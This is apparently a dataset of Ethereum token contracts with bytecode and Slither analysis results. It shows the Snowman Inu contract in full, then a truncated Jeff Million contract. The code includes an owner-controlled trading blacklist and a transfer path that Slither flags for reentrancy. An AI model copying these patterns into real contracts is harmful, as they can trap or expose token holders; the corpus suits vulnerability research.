address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xd51b9e7dd348bd64f32abfe0f26c35889451479c
/** Snowman Inu Total 10 000 000 000 4% to LP and Buyback 4% Marketing 2% Reflections https://t.me/snowmaninu Website : snowmaninu.fun */ pragma solidity ^0.8.9; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SnowmanInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Snowman Inu"; string private constant _symbol = "SNOW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3BD36965b125cfd7Abf0376DBCBA01F28C11230A); _feeAddrWallet2 = payable(0x3BD36965b125cfd7Abf0376DBCBA01F28C11230A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c6578063b515566a146102e6578063c3c8cd8014610306578063c9567bf91461031b578063dd62ed3e1461033057600080fd5b806370a082311461023c578063715018a61461025c5780638da5cb5b1461027157806395d89b411461029957600080fd5b8063273123b7116100d1578063273123b7146101c9578063313ce567146101eb5780635932ead1146102075780636fc3eaec1461022757600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a536e6f776d616e20496e7560a81b60208201525b60405161014b9190611592565b60405180910390f35b34801561016057600080fd5b5061017461016f36600461160c565b610376565b604051901515815260200161014b565b34801561019057600080fd5b50678ac7230489e800005b60405190815260200161014b565b3480156101b557600080fd5b506101746101c4366004611638565b61038d565b3480156101d557600080fd5b506101e96101e4366004611679565b6103f6565b005b3480156101f757600080fd5b506040516009815260200161014b565b34801561021357600080fd5b506101e96102223660046116a4565b61044a565b34801561023357600080fd5b506101e9610492565b34801561024857600080fd5b5061019b610257366004611679565b6104bf565b34801561026857600080fd5b506101e96104e1565b34801561027d57600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a557600080fd5b50604080518082019091526004815263534e4f5760e01b602082015261013e565b3480156102d257600080fd5b506101746102e136600461160c565b610555565b3480156102f257600080fd5b506101e96103013660046116d7565b610562565b34801561031257600080fd5b506101e96105f8565b34801561032757600080fd5b506101e961062e565b34801561033c57600080fd5b5061019b61034b36600461179c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103833384846109f0565b5060015b92915050565b600061039a848484610b14565b6103ec84336103e78560405180606001604052806028815260200161199b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e61565b6109f0565b5060019392505050565b6000546001600160a01b031633146104295760405162461bcd60e51b8152600401610420906117d5565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104745760405162461bcd60e51b8152600401610420906117d5565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b257600080fd5b476104bc81610e9b565b50565b6001600160a01b03811660009081526002602052604081205461038790610f20565b6000546001600160a01b0316331461050b5760405162461bcd60e51b8152600401610420906117d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610383338484610b14565b6000546001600160a01b0316331461058c5760405162461bcd60e51b8152600401610420906117d5565b60005b81518110156105f4576001600660008484815181106105b0576105b061180a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ec81611836565b91505061058f565b5050565b600c546001600160a01b0316336001600160a01b03161461061857600080fd5b6000610623306104bf565b90506104bc81610fa4565b6000546001600160a01b031633146106585760405162461bcd60e51b8152600401610420906117d5565b600f54600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610420565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ee3082678ac7230489e800006109f0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f9190611851565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df9190611851565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f9190611851565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061088f816104bf565b6000806108a46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090757600080fd5b505af115801561091b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610940919061186e565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b857600080fd5b505af11580156109cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f4919061189c565b6001600160a01b038316610a525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610420565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610420565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610420565b6001600160a01b038216610bda5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610420565b60008111610c3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610420565b6002600a556008600b556000546001600160a01b03848116911614801590610c7257506000546001600160a01b03838116911614155b15610e51576001600160a01b03831660009081526006602052604090205460ff16158015610cb957506001600160a01b03821660009081526006602052604090205460ff16155b610cc257600080fd5b600f546001600160a01b038481169116148015610ced5750600e546001600160a01b03838116911614155b8015610d1257506001600160a01b03821660009081526005602052604090205460ff16155b8015610d275750600f54600160b81b900460ff165b15610d8457601054811115610d3b57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d5f57600080fd5b610d6a42601e6118b9565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610daf5750600e546001600160a01b03848116911614155b8015610dd457506001600160a01b03831660009081526005602052604090205460ff16155b15610de4576002600a908155600b555b6000610def306104bf565b600f54909150600160a81b900460ff16158015610e1a5750600f546001600160a01b03858116911614155b8015610e2f5750600f54600160b01b900460ff165b15610e4f57610e3d81610fa4565b478015610e4d57610e4d47610e9b565b505b505b610e5c83838361112d565b505050565b60008184841115610e855760405162461bcd60e51b81526004016104209190611592565b506000610e9284866118d1565b95945050505050565b600c546001600160a01b03166108fc610eb5836002611138565b6040518115909202916000818181858888f19350505050158015610edd573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ef8836002611138565b6040518115909202916000818181858888f193505050501580156105f4573d6000803e3d6000fd5b6000600854821115610f875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610420565b6000610f9161117a565b9050610f9d8382611138565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fec57610fec61180a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104057600080fd5b505afa158015611054573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110789190611851565b8160018151811061108b5761108b61180a565b6001600160a01b039283166020918202929092010152600e546110b191309116846109f0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ea9085906000908690309042906004016118e8565b600060405180830381600087803b15801561110457600080fd5b505af1158015611118573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5c83838361119d565b6000610f9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611294565b60008060006111876112c2565b90925090506111968282611138565b9250505090565b6000806000806000806111af87611302565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e1908761135f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121090866113a1565b6001600160a01b03891660009081526002602052604090205561123281611400565b61123c848361144a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128191815260200190565b60405180910390a3505050505050505050565b600081836112b55760405162461bcd60e51b81526004016104209190611592565b506000610e928486611959565b6008546000908190678ac7230489e800006112dd8282611138565b8210156112f957505060085492678ac7230489e8000092509050565b90939092509050565b600080600080600080600080600061131f8a600a54600b5461146e565b925092509250600061132f61117a565b905060008060006113428e8787876114c3565b919e509c509a509598509396509194505050505091939550919395565b6000610f9d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e61565b6000806113ae83856118b9565b905083811015610f9d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610420565b600061140a61117a565b905060006114188383611513565b3060009081526002602052604090205490915061143590826113a1565b30600090815260026020526040902055505050565b600854611457908361135f565b60085560095461146790826113a1565b6009555050565b600080808061148860646114828989611513565b90611138565b9050600061149b60646114828a89611513565b905060006114b3826114ad8b8661135f565b9061135f565b9992985090965090945050505050565b60008080806114d28886611513565b905060006114e08887611513565b905060006114ee8888611513565b90506000611500826114ad868661135f565b939b939a50919850919650505050505050565b60008261152257506000610387565b600061152e838561197b565b90508261153b8583611959565b14610f9d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610420565b600060208083528351808285015260005b818110156115bf578581018301518582016040015282016115a3565b818111156115d1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bc57600080fd5b8035611607816115e7565b919050565b6000806040838503121561161f57600080fd5b823561162a816115e7565b946020939093013593505050565b60008060006060848603121561164d57600080fd5b8335611658816115e7565b92506020840135611668816115e7565b929592945050506040919091013590565b60006020828403121561168b57600080fd5b8135610f9d816115e7565b80151581146104bc57600080fd5b6000602082840312156116b657600080fd5b8135610f9d81611696565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116ea57600080fd5b823567ffffffffffffffff8082111561170257600080fd5b818501915085601f83011261171657600080fd5b813581811115611728576117286116c1565b8060051b604051601f19603f8301168101818110858211171561174d5761174d6116c1565b60405291825284820192508381018501918883111561176b57600080fd5b938501935b8285101561179057611781856115fc565b84529385019392850192611770565b98975050505050505050565b600080604083850312156117af57600080fd5b82356117ba816115e7565b915060208301356117ca816115e7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561184a5761184a611820565b5060010190565b60006020828403121561186357600080fd5b8151610f9d816115e7565b60008060006060848603121561188357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118ae57600080fd5b8151610f9d81611696565b600082198211156118cc576118cc611820565b500190565b6000828210156118e3576118e3611820565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119385784516001600160a01b031683529383019391830191600101611913565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197657634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561199557611995611820565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e3f8263b4b83c59e347e136e1a9ebc09b2612ea089a6442f7d5d157cbe9b8de64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,400
0x254fc04c1e091d33090a2f600fa20746c48679bf
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ /* DYOR - NFA Here are the following social media links to get in touch with us. We shall moon it. https://t.me/JeffMillion https://twitter.com/JeffMillionETH Decentralized meme token, made for humor and gains. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JeffMillion is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Jeff Million"; string private constant _symbol = 'JEFFM️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); 